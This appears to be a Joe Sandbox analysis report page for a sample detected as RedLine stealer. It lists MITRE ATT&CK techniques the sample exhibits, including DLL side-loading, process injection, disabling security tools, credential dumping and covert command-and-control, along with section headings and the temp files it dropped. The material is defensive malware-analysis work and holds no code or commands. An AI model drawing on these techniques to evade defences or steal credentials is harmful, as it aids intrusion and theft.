Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SW3uxM7BXI.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SW3uxM7BXI.exe.log

C:\Users\user\AppData\Local\Temp\tmp2D96.tmp

C:\Users\user\AppData\Local\Temp\tmp2DA7.tmp

C:\Users\user\AppData\Local\Temp\tmp2DB8.tmp

C:\Users\user\AppData\Local\Temp\tmp2DB9.tmp

C:\Users\user\AppData\Local\Temp\tmp2DC9.tmp

C:\Users\user\AppData\Local\Temp\tmp2DCA.tmp

C:\Users\user\AppData\Local\Temp\tmp2DCB.tmp

C:\Users\user\AppData\Local\Temp\tmp2DDC.tmp

C:\Users\user\AppData\Local\Temp\tmp2DDD.tmp

C:\Users\user\AppData\Local\Temp\tmp2DEE.tmp

C:\Users\user\AppData\Local\Temp\tmp2DFE.tmp

C:\Users\user\AppData\Local\Temp\tmp2DFF.tmp

C:\Users\user\AppData\Local\Temp\tmp5FBF.tmp

C:\Users\user\AppData\Local\Temp\tmp5FCF.tmp

Windows Analysis Report
SW3uxM7BXI.exe